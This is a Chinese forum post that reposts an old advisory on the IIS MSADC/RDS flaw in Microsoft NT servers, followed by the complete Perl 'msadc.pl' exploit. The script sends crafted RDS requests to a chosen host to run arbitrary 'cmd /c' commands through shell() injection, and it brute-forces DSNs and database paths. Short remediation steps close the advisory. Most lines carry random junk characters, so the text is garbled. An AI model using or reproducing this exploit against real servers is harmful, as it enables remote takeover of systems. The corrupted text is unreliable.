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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) \ 'Va(}v  
$xWUzg1<U  
涉及程序: ?w+ V:D  
Microsoft NT server _OC@J*4.  
BlQ X$s]  
描述: ^Kg n:l  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 fjOq@thD  
T;?k]4.X  
详细: Ulx]4;uzf  
如果你没有时间读详细内容的话,就删除: BM`6<Z"3q  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 5dB62dqN  
有关的安全问题就没有了。 P#7=h:.522  
*mVg_Kl  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 MXa^ g"  
"?.#z]']  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 4M|u T 9-  
关于利用ODBC远程漏洞的描述,请参看: Z`u$#<ukX  
xP!QV~$>  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm r *]pL<  
eIfQ TV  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 U8AH,?]#  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp QeG9CS)E}j  
|?s sHW  
这里不再论述。 HC/z3b;  
!3Pbu=(cte  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: !Av9 ?Q:  
U(9_&sL  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset c(e>Rmh  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! p |1u,N  
h='F,r5#2  
t`&x.o  
#将下面这段保存为txt文件,然后: "perl -x 文件名" 8lL|j  
U!`iKy-  
#!perl B+snHabS6  
# !TJ,:c]4{!  
# MSADC/RDS 'usage' (aka exploit) script C!a1.&HHZ7  
# 9&5<ZC-D  
# by rain.forest.puppy XIbZ_G^ +D  
# -^lc-$0  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me @(~:JP?KNC  
# beta test and find errors! dWPQp*f2  
s0^(yEcq  
use Socket; use Getopt::Std; \?d3Pn5`  
getopts("e:vd:h:XR", \%args); 4G?^#+|^  
KGHSEZi]  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; Vh;zV Y  
ANy*'/f  
if (!defined $args{h} && !defined $args{R}) { GD{L$#i!  
print qq~ c&!mKMrk  
Usage: msadc.pl -h <host> { -d <delay> -X -v } acR|X@ \3  
-h <host> = host you want to scan (ip or domain) #F.jf2h@  
-d <seconds> = delay between calls, default 1 second ;,C]WZ.w  
-X = dump Index Server path table, if available *B"Y]6$  
-v = verbose Z(T{K\)uN  
-e = external dictionary file for step 5 RHg-Cg`  
. \"k49M`  
Or a -R will resume a command session 0{|HRiQH9+  
R<Lf>p>_  
~; exit;} 8~]D!c8;a  
iU;e!\A  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; ||_hET  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} m|;(0 rft  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} -juG[zn  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); uv27Vos  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} YR9fw  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } A913*O: \  
{ K]5[bMT  
if (!defined $args{R}){ $ret = &has_msadc; {O^u^a\m  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} !qj[$x-ns  
<4"-tYa  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" La;G S  
. "cmd /c "; Aw |;C  
$in=<STDIN>; chomp $in; }OL"38P  
$command="cmd /c " . $in ; `t&{^ a&Y"  
@#)` -]g  
if (defined $args{R}) {&load; exit;} "y,YC M`  
Xq*^6*E-}  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; o@Oz a  
&try_btcustmr; o)AwM"  
s|]g@cz an  
print "\nStep 2: Trying to make our own DSN..."; DAB9-[y+  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; [|DKBJ  
8AuBs;i  
print "\nStep 3: Trying known DSNs..."; #]kjyT0  
&known_dsn; ttzNv>L,  
6<._^hyq  
print "\nStep 4: Trying known .mdbs..."; "6$V1B0KW  
&known_mdb; MC}t8L=  
50W+!'  
if (defined $args{e}){ GQqGrUQ*}  
print "\nStep 5: Trying dictionary of DSN names..."; 6lSz/V;  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } G^~[|a 4`  
Xv8-<Ks  
print "Sorry Charley...maybe next time?\n"; L>1hiD&  
exit; xc:E>-  
PgWWa*Ew  
############################################################################## 9CY{}g  
#) aLD0p  
sub sendraw { # ripped and modded from whisker YAr6 cl  
sleep($delay); # it's a DoS on the server! At least on mine... xH-d<Ht,7  
my ($pstr)=@_; *1b|j|5v  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ]:<! (  
die("Socket problems\n"); h[ DNhR  
if(connect(S,pack "SnA4x8",2,80,$target)){ T{k P9 4  
select(S); $|=1; <v:VA!]  
print $pstr; my @in=<S>; 5ilGWkb`'X  
select(STDOUT); close(S); N+|NI?R?}  
return @in; GM%+yS}(P  
} else { die("Can't connect...\n"); }} n|w+08c"  
1F^Q*t{  
############################################################################## 9-KhJq%  
}}AIpYp,P  
sub make_header { # make the HTTP request ,c p2Fac  
my $msadc=<<EOT FzT.9Vz7  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 .f\LzZ-I:  
User-Agent: ACTIVEDATA .Pc>1#z&[  
Host: $ip t4WB^dHYp  
Content-Length: $clen 5p;AON  
Connection: Keep-Alive 'o >)E>  
M"~jNe|  
ADCClientVersion:01.06 ;b$P*dSG}  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 Dqx#i-L23  
x sryXex;  
--!ADM!ROX!YOUR!WORLD! I`kfe`_  
Content-Type: application/x-varg 9DxHdpOk  
Content-Length: $reqlen w,LtQhQ  
CLR1 CGnn7  
EOT O VV@  
; $msadc=~s/\n/\r\n/g; m[9.'@ ye  
return $msadc;} : \+xXb{  
>XD?zF)6  
############################################################################## Ot t6y  
5)k8(kH  
sub make_req { # make the RDS request uN|A}/hr]  
my ($switch, $p1, $p2)=@_; `g)}jo`W  
my $req=""; my $t1, $t2, $query, $dsn; Bt+^H6cb  
MMM tB6  
if ($switch==1){ # this is the btcustmr.mdb query 7L{1S v  
$query="Select * from Customers where City=" . make_shell(); `ONjEl  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . m>@hh#kBg  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} AM}R#86  
*o6}>;  
elsif ($switch==2){ # this is general make table query bx0.(Nv/X  
$query="create table AZZ (B int, C varchar(10))"; "TV'}HH  
$dsn="$p1";} _C?j\Wy  
P6:9o}K6  
elsif ($switch==3){ # this is general exploit table query CVj^{||eF  
$query="select * from AZZ where C=" . make_shell(); $~/2!T_  
$dsn="$p1";} ;O"?6d0  
TR"C<&y$j  
elsif ($switch==4){ # attempt to hork file info from index server 3[YG BM(  
$query="select path from scope()"; v, $r.g;  
$dsn="Provider=MSIDXS;";} O\5%IfB'"  
/k#-OXP~  
elsif ($switch==5){ # bad query g9_zkGc7  
$query="select"; ~wvt:E,f C  
$dsn="$p1";} DD| 0?i  
/sE,2X*BT  
$t1= make_unicode($query); :cT)M(o  
$t2= make_unicode($dsn); = tv70d'  
$req = "\x02\x00\x03\x00"; 4"d,=P.{  
$req.= "\x08\x00" . pack ("S1", length($t1)); 7=G 2sOC  
$req.= "\x00\x00" . $t1 ; S$6|K Y u  
$req.= "\x08\x00" . pack ("S1", length($t2)); ewZ?+G+m  
$req.= "\x00\x00" . $t2 ; 2w?q7N%  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; 44]s`QyG  
return $req;} o<`vh*U@,4  
p~pD`'%  
############################################################################## ]g_VPx"  
mzgt>Qtkz=  
sub make_shell { # this makes the shell() statement P*|N)S)X%  
return "'|shell(\"$command\")|'";} q!Du J  
A~zn;  
############################################################################## cG|fau<G  
U( YAI%O  
sub make_unicode { # quick little function to convert to unicode  *}?[tR5  
my ($in)=@_; my $out; 1'kO{Ge*p:  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } =C"[o\]VV  
return $out;} R+ * ; [  
pwFp<O"  
############################################################################## ewDYu=`*  
-^_m(@A<~  
sub rdo_success { # checks for RDO return success (this is kludge) "F F$Q#)  
my (@in) = @_; my $base=content_start(@in); _jWs(OmJ  
if($in[$base]=~/multipart\/mixed/){ E$ d#4x  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 5E!C?dv(z  
return 0;} nzq   
|{(<A4W  
############################################################################## !8{ VLg  
uYJS=NGNA  
sub make_dsn { # this makes a DSN for us sS D8Sx/  
my @drives=("c","d","e","f"); AjzTszByu  
print "\nMaking DSN: "; -<W?it?D  
foreach $drive (@drives) { |23F@s1  
print "$drive: "; wi(Y=?=  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . ]vrZGX a+  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" ER0 Yl  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); du65=w4E!  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; ?OD$`{1  
return 0 if $2 eq "404"; # not found/doesn't exist ]#tB[G  
if($2 eq "200") { !3Q0Ahf  
foreach $line (@results) { Y.^L^ "%dF  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} p|>*M\LE#  
} return 0;} +8Xjk\Hi  
I!x.bp~V!  
############################################################################## KX) n+{   
2d)Dhxzxk  
sub verify_exists { L%'J]HL-  
my ($page)=@_; ? SFBUX(p  
my @results=sendraw("GET $page HTTP/1.0\n\n"); !fh (k  
return $results[0];}  Q !X?P  
OO:S2-]Y>e  
############################################################################## ^T=9j.e'ja  
B8&q$QV  
sub try_btcustmr { q_MN  
my @drives=("c","d","e","f"); \PrJy6&  
my @dirs=("winnt","winnt35","winnt351","win","windows"); iw@rW5%'~  
L9b.D<  
foreach $dir (@dirs) { u3T-U_:jSV  
print "$dir -> "; # fun status so you can see progress mm/\\my  
foreach $drive (@drives) { rrD6x>  
print "$drive: "; # ditto TdhfX{nk  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; uD\R3cY  
$reqlenlen=length( "$reqlen" ); crmQn ^4\  
$clen= 206 + $reqlenlen + $reqlen; W .a>K$  
UXm_-/&b9  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); E`HoJhB  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} &<&tdShI  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} L.n@;*  
i~@gI5[k+  
############################################################################## ^e:z ul{;]  
bnxp[Qk|5  
sub odbc_error { 73Dxf -  
my (@in)=@_; my $base; !:{Qbv&T  
my $base = content_start(@in); wNB?3v{n  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this bz*@[NQ  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 'L/)9.29  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; .N(R~_  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 7e_4sxg'(3  
return $in[$base+4].$in[$base+5].$in[$base+6];} ~ua(Qm  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; -[mmT'sS  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . +a,SP   
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} QiCia#_  
6pt,]FlU  
############################################################################## qe]D4K8`Q3  
I?T !  
sub verbose { {^]qaQ[5N  
my ($in)=@_; UZdnsG7  
return if !$verbose; hf`y_H+\7  
print STDOUT "\n$in\n";} x39tnf/F  
N,`@Q7  
############################################################################## h ldZA  
xP8/1wd.  
sub save { 0h-NT\m  
my ($p1, $p2, $p3, $p4)=@_; &;Ncc,jb  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; O,$*`RZpx  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; y?s z&*:  
close OUT;} &4Z8df!  
B`SX3,3  
############################################################################## #}A"yo  
:ez76oGyc  
sub load { y-pdAkDh  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; =dXHQU&Q  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); <bcf"0A  
@p=<IN>; close(IN); qlhc"}5x }  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); 2dts}G  
$target= inet_aton($ip) || die("inet_aton problems"); z~{08M7  
print "Resuming to $ip ..."; c |0p'EQ  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; v.ZUYa|  
if($p[1]==1) { a1,)1y~  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; `E~"T0RX  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; Zma;An6  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); !(*&P  
if (rdo_success(@results)){print "Success!\n";} y&\4Wr9m  
else { print "failed\n"; verbose(odbc_error(@results));}} = MByD&o`  
elsif ($p[1]==3){ )xp3 ElH  
if(run_query("$p[3]")){ [I;C 6p  
print "Success!\n";} else { print "failed\n"; }} &XNt/bK -?  
elsif ($p[1]==4){ ;CO qu#(  
if(run_query($drvst . "$p[3]")){  l!1_~!{y  
print "Success!\n"; } else { print "failed\n"; }} 0hY3vBQ!  
exit;} `8ob Xb  
NSVE3  
############################################################################## gj|5"'g%  
fhi}x(  
sub create_table { <*vR_?!  
my ($in)=@_; p3_ Qx  
$reqlen=length( make_req(2,$in,"") ) - 28; RIkIE=+6  
$reqlenlen=length( "$reqlen" ); \p:)Cdn  
$clen= 206 + $reqlenlen + $reqlen; c{^1`(#?  
my @results=sendraw(make_header() . make_req(2,$in,"")); o0WwlmB5  
return 1 if rdo_success(@results); "Lvk?k )hx  
my $temp= odbc_error(@results); verbose($temp); auI`'O`/  
return 1 if $temp=~/Table 'AZZ' already exists/; p$"~v A .  
return 0;} v:lkvMq|=  
I(UK9H{0$  
############################################################################## "= 2\kZ  
Z71_D  
sub known_dsn { IFW(nB(  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go k8G4CFg}wP  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", PU%Zay  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", :E{)yT  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); +:Xg7H*  
z<Z0/a2'1  
foreach $dSn (@dsns) { ]prw=rD  
print "."; 5NkF_&S_1  
next if (!is_access("DSN=$dSn")); }S"gZ6   
if(create_table("DSN=$dSn")){ aGW O3Nk  
print "$dSn successful\n"; /#5rt&q  
if(run_query("DSN=$dSn")){ Wrbv<8}%c  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ~M7X]  
print "Something's borked. Use verbose next time\n";}}} print "\n";} )4o8SF7lz  
[#wt3<d`)  
############################################################################## UV|{za$&/  
&pY$\  
sub is_access { eG+$~\%Fub  
my ($in)=@_; [-`s`g-  
$reqlen=length( make_req(5,$in,"") ) - 28; wg_Z@iX  
$reqlenlen=length( "$reqlen" ); t(<k4ji,  
$clen= 206 + $reqlenlen + $reqlen; ZK ?V{X{";  
my @results=sendraw(make_header() . make_req(5,$in,""));  Jj%xLv%  
my $temp= odbc_error(@results); l_2Xao$  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); DI/d(oFv`  
return 0;} },<Y \  
GRpwEfG  
############################################################################## LD{~6RP  
CVY-U|xFY  
sub run_query { ~Y0K Wx4  
my ($in)=@_; b4$g$()  
$reqlen=length( make_req(3,$in,"") ) - 28; >q')%j  
$reqlenlen=length( "$reqlen" ); io"NqR#"v  
$clen= 206 + $reqlenlen + $reqlen; DZ`,QWuA  
my @results=sendraw(make_header() . make_req(3,$in,"")); 8bw, dBN  
return 1 if rdo_success(@results); (gdzgLHy  
my $temp= odbc_error(@results); verbose($temp);  w@mCQ$  
return 0;} AN,3[Sh  
ui"`c%2n  
############################################################################## H O>3>v  
, iEGf-!k  
sub known_mdb { -0'< 7FSQ  
my @drives=("c","d","e","f","g"); (w_b  
my @dirs=("winnt","winnt35","winnt351","win","windows"); iyR5mA  
my $dir, $drive, $mdb; 8u*Q^-fpo0  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; .|:(VG$MfI  
'D[ *|Qcy  
# this is sparse, because I don't know of many #cikpHLXG  
my @sysmdbs=( "\\catroot\\icatalog.mdb", e*<pO@Uy  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", dF|n)+C~R  
"\\system32\\certmdb.mdb", ee<'j~{A  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% Nog{w  
,S}wOjb@  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", 8XfOM f~d`  
"\\cfusion\\cfapps\\forums\\forums_.mdb", fX LsLh+~D  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", SbtZhg=S_  
"\\cfusion\\cfapps\\security\\realm_.mdb", v&])D/a  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", kT^`j^Jr  
"\\cfusion\\database\\cfexamples.mdb", g |]Hm*  
"\\cfusion\\database\\cfsnippets.mdb", AAi4} 8+\  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", gsIp y  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", $?&distJ  
"\\cfusion\\brighttiger\\database\\cleam.mdb", r"7 !J[u  
"\\cfusion\\database\\smpolicy.mdb", |>JRJ"CFE  
"\\cfusion\\database\cypress.mdb", KrTlzbw&p\  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", pfMmDl5|  
"\\website\\cgi-win\\dbsample.mdb", #E/|W T  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", `j6O  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" ~:b5UIAk  
); #these are just ;MO,HdP;  
foreach $drive (@drives) { j3o?B  
foreach $dir (@dirs){ /p|L.&`U  
foreach $mdb (@sysmdbs) { 9]S;%:64  
print "."; ^Y"|2 :  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ {ZUgyGE{  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; _:XX+ 3W7  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ @Bsvk9}  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; G Mg|#DV  
} else { print "Something's borked. Use verbose next time\n"; }}}}} s8*Q@0  
1mv8[^pF  
foreach $drive (@drives) { V4<f4|IL  
foreach $mdb (@mdbs) { :<6gP(  
print "."; ?KFj=Yo  
if(create_table($drv . $drive . $dir . $mdb)){ .UUT@ w?  
print "\n" . $drive . $dir . $mdb . " successful\n"; UotLJa  
if(run_query($drv . $drive . $dir . $mdb)){ .V{y9e+  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; .|LY /q\A  
} else { print "Something's borked. Use verbose next time\n"; }}}} ZGS4P0$  
} g0s *4E  
?2S<D5M Sb  
############################################################################## E7U.>8C  
pq,8z= Uf  
sub hork_idx { P7 qzZ  
print "\nAttempting to dump Index Server tables...\n"; XAUHF-"WE  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; j-/F *P  
$reqlen=length( make_req(4,"","") ) - 28; <xD6}h/  
$reqlenlen=length( "$reqlen" ); jGn2Q L  
$clen= 206 + $reqlenlen + $reqlen; N}\3UHtO  
my @results=sendraw2(make_header() . make_req(4,"","")); X> V`)  
if (rdo_success(@results)){ 6P`!yBAu  
my $max=@results; my $c; my %d; %xwtG:IKEV  
for($c=19; $c<$max; $c++){ NvJ}|w,Z  
$results[$c]=~s/\x00//g; ;/(<yu48  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; (p?B=  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; 9{R88f?;  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; x3=SMN|a  
$d{"$1$2"}="";} gYa (-o  
foreach $c (keys %d){ print "$c\n"; } kO' NT:  
} else {print "Index server doesn't seem to be installed.\n"; }} ,z|g b]\  
6hf6Z 3  
############################################################################## 9y;8JO  
(x8D ]a  
sub dsn_dict { ]= 9^wS  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); ()EiBl(kWk  
while(<IN>){ PLQLGb4f_;  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; tQ(gB_  
next if (!is_access("DSN=$dSn")); B&z~}lL  
if(create_table("DSN=$dSn")){ 6cTd SE  
print "$dSn successful\n"; >?^_JE C6  
if(run_query("DSN=$dSn")){ c~n:xblv  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { hdy N   
print "Something's borked. Use verbose next time\n";}}} Y~-P9   
print "\n"; close(IN);} <izn B8@  
Yi#U~ h  
############################################################################## 52z{   
(-hGb:  
sub sendraw2 { # ripped and modded from whisker wT^QO^.  
sleep($delay); # it's a DoS on the server! At least on mine... rL<a^/b/=  
my ($pstr)=@_; nrRP1`!]T  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || c>yqq'  
die("Socket problems\n"); Huho|6ohH  
if(connect(S,pack "SnA4x8",2,80,$target)){ .L))EB  
print "Connected. Getting data"; 'mE!,KeS;  
open(OUT,">raw.out"); my @in; tF~D!t@  
select(S); $|=1; print $pstr;  ^#&:-4/  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} <P1x3  
close(OUT); select(STDOUT); close(S); return @in; okQ<_1e{  
} else { die("Can't connect...\n"); }} C *U,$8j|}  
:6y;U  
############################################################################## Q*8=^[x  
}(Dt,F`  
sub content_start { # this will take in the server headers >sm<$'vZ/  
my (@in)=@_; my $c; #m36p+U  
for ($c=1;$c<500;$c++) { *MZa|Xy  
if($in[$c] =~/^\x0d\x0a/){ ad,pHJ`  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } XmX{e.<NZ  
else { return $c+1; }}} /zZ";4  
return -1;} # it should never get here actually 2(K@V6j$M  
O#B2XoZa+  
############################################################################## zJX _EO  
rJ)8KY>  
sub funky { [7@9wa1v!  
my (@in)=@_; my $error=odbc_error(@in); e)A-.SRiO$  
if($error=~/ADO could not find the specified provider/){ xJ|_R,>.H  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; IH$ZPux  
exit;} ;FO( mL(  
if($error=~/A Handler is required/){ u#~q86k  
print "\nServer has custom handler filters (they most likely are patched)\n"; k{-#2Qz  
exit;} 7dtkylW  
if($error=~/specified Handler has denied Access/){ 0m 7_#g4$L  
print "\nServer has custom handler filters (they most likely are patched)\n"; m9 D' yXZ  
exit;}} JJVdq-k+`  
,)%$Zxng  
############################################################################## |h* rkLY  
l/g6Tv `w  
sub has_msadc { q>Kzl/~c.P  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); II) K0<  
my $base=content_start(@results); 9HBRWh6  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); Bb zmq  
return 0;} "z9 p(|oZ  
\zx$]|AQ  
######################## l7vxTj@(-  
?3Y~q;I]O  
y`8 bx94jB  
解决方案: UNJAfr P  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll "#G`F  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 7Xf52\7n  
b!oj3|9  
拿出来充数 哈哈
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